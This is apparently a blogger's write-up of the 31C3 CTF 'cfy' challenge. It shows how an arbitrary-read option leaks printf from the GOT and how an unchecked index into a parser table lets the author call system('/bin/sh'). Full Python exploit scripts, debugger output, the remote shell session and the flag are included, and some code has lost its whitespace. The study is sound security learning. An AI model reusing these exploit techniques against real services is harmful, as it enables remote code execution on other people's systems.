Man, 31C3 CTF was tough. I managed to get this flag, worth 10 points. Seems I need to keep learning ;] Let’s have a look at cfy.
We’re given the binary and a place to connect to. Upon connecting with nc, we see the following:
123456
bas@tritonal:~/tmp/31c3$ nc 188.40.18.73 3313
What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit
With option 2, we have an arbitrary read ability, but we have to pass in the pointer in raw hex. This allows us to leak a libc address from the GOT. I chose to leak printf because I figured that one would have been resolved by the time our input was handled.
Finding the address of printf pointer in GOT was done like this:
bas@tritonal:~/tmp/31c3/cfy$ python read.py
What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit
Please enter your number: dec: 140512731112416
hex: 0x7fcbab6ca3e0
What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit
Unfortunately, running the python script again shows a different address for printf. This means that ASLR is enabled. Furthermore, I didn’t know what version of libc was running!
I turned my attention to gaining code execution. This was more trivial, although it wasn’t a straight-forward buffer overflow. The binary asks the user for a choice. That choice is converted from a string to an int. From this int, the binary looks up the relevant code to handle the request:
12345
4008af: 48 c1 e0 04 shl rax,0x4 ; multiply value by 16
4008b3: 480580106000 add rax,0x601080 ; address of parsers, see below
4008b9: 48 8b 00 mov rax,QWORD PTR [rax] 4008bc: bf e0 106000 mov edi,0x6010e0 ; address of buf, see below
4008c1: ff d0 call rax ; gain code exec here!
There is no check performed on the value in rax. If we pass in a normal value, like 2, the binary fetches the corresponding parser here:
1234567891011
gdb-peda$ p parsers
$1={{fn= 0x40073d <from_hex>,
desc= 0x4009b4 "parse from hex"}, {fn= 0x400761 <from_dec>,
desc= 0x4009c3 "parse from dec"}, {fn= 0x400785 <from_ptr>,
desc= 0x4009d2 "parse from pointer"}}
But look here: buf is almost right behind parsers:
If we somehow load buf with pointers to code we want to execute, then pass in a large value at the prompt, the code will fetch the parser address from the buf section and we have control over execution:
gdb-peda$ r
What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit
7 # give bigger number!Please enter your number: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]RAX: 0x6161616161616161 ('aaaaaaaa')RBX: 0x0
RCX: 0xfbad2288
RDX: 0x6010e0 ('a' <repeats 52times>, "\n")RSI: 0x7ffff7ff7035 --> 0x0
RDI: 0x6010e0 ('a' <repeats 52times>, "\n")RBP: 0x7fffffffe4b0 --> 0x0
RSP: 0x7fffffffe4a0 --> 0x7ffffe590
...snip...
[-------------------------------------code-------------------------------------] 0x4008b3 <main+167>: add rax,0x601080
0x4008b9 <main+173>: mov rax,QWORD PTR [rax] 0x4008bc <main+176>: mov edi,0x6010e0
=> 0x4008c1 <main+181>: call rax
0x4008c3 <main+183>: mov QWORD PTR [rbp-0x8],rax
0x4008c7 <main+187>: mov rax,QWORD PTR [rbp-0x8] 0x4008cb <main+191>: mov rsi,rax
0x4008ce <main+194>: mov edi,0x400a3d
Guessed arguments:
arg[0]: 0x6010e0 ('a' <repeats 52times>, "\n")..snip...
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004008c1 in main ()
Excellent. Now what pointer should we store in buf? I couldn’t make a ROP chain, for I had no control over the stack. The obvious thing to do was to return to system() with /bin/sh as argument. But where was system() located?
I had no idea what libc version was running. I did have an arbitrary read primitive though. I had downloaded libc-2.19 and from the addresses of printf and puts (both available in the GOT) I deduced that this wasn’t the correct version. However, I decided to scan the remote binary’s libc for signature bytes of system(). I assumed it started with these bytes:
#!/usr/bin/pythonimportstruct,time,redefp(x):returnstruct.pack("L",x)payload=""payload+="2\n"payload+=p(0x601020)# printfpayload+="\n"importsockets=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(('188.40.18.73',3313))prints.recv(1025)s.send(payload)time.sleep(1.5)data=s.recv(1000)PRINTF=-1printdatam=re.search(r'hex: (.*)',data)ifm:PRINTF=m.group(1)OFFSET=63580# guesstimated from real libcforiinrange(5000):payload=""payload+="2\n"payload+=p(int(PRINTF,16)-OFFSET-i)payload+="\n"s.send(payload)data=s.recv(200)printdataprintiif'ff85'indata:# part of test rdi, rdiprint"[!] found possible offset for system(): printf-%d"%(int(PRINTF,16)-(int(PRINTF,16)-OFFSET-i))print"[!] system @ %s"%hex(int(PRINTF,16)-OFFSET-i)raw_input()
It gave a lot of possible addresses, and once I thought I had system() but it was the wrong. I chose a reasonble offset to start from (based on libc 2.19) and ran the script. I stumbled upon the following output:
At printf-63665, libc indeed has the first few bytes of system(). It started with a 00 byte, so I decreased the value by one and plugged that value into a script.
#!/usr/bin/pythonimportstruct,time,re,telnetlib,socketdefp(x):returnstruct.pack("L",x)# leak printf address in libc via GOT pointerpayload=""payload+="2\n"payload+=p(0x601020)# printf@pltpayload+="\n"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(('188.40.18.73',3313))prints.recv(1025)s.send(payload)time.sleep(0.5)data=s.recv(1000)PRINTF=-1printdatam=re.search(r'hex: (.*)',data)ifm:PRINTF=m.group(1)print"[+] found printf: %x"%int(PRINTF,16)SYSTEM=int(PRINTF,16)-63664print"[+] system at %x"%int(SYSTEM)# spam system into bufpayload=""payload+="1\n"payload+=p(SYSTEM)# address of system() will be stored in bufpayload+=p(SYSTEM)# buf+8payload+=p(SYSTEM)# buf+16payload+="\n"s.send(payload)prints.recv(200)payload=""payload+="7\n"# use an address further into buf (parsers+7*16)payload+="/bin/sh\n"# because this will overwrite the first few bytess.send(payload)# send payload, causing it to call system('/bin/sh')t=telnetlib.Telnet()# interact with spawned shellt.sock=st.interact()
bas@tritonal:~/tmp/31c3/cfy$ python exploit.py
What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit
Please enter your number: dec: 140686779126752
hex: 0x7ff4317e93e0
What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit
[+] found printf: 7ff4317e93e0
[+] system at 7ff4317d9b30
Please enter your number:
dec: 0
hex: 0x0
What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit
Please enter your number: id
uid=1001(cfy)gid=1001(cfy)groups=1001(cfy)cat /home/cfy/flag
THANK YOU WARIO!
BUT OUR PRINCESS IS IN
ANOTHER CASTLE!
Login: cfy_pwn // 31C3_G0nna_keep<on>grynding
So the flag was 31C3_G0nna_keep<on>grynding. I thought this was quite tough based on the amount of points…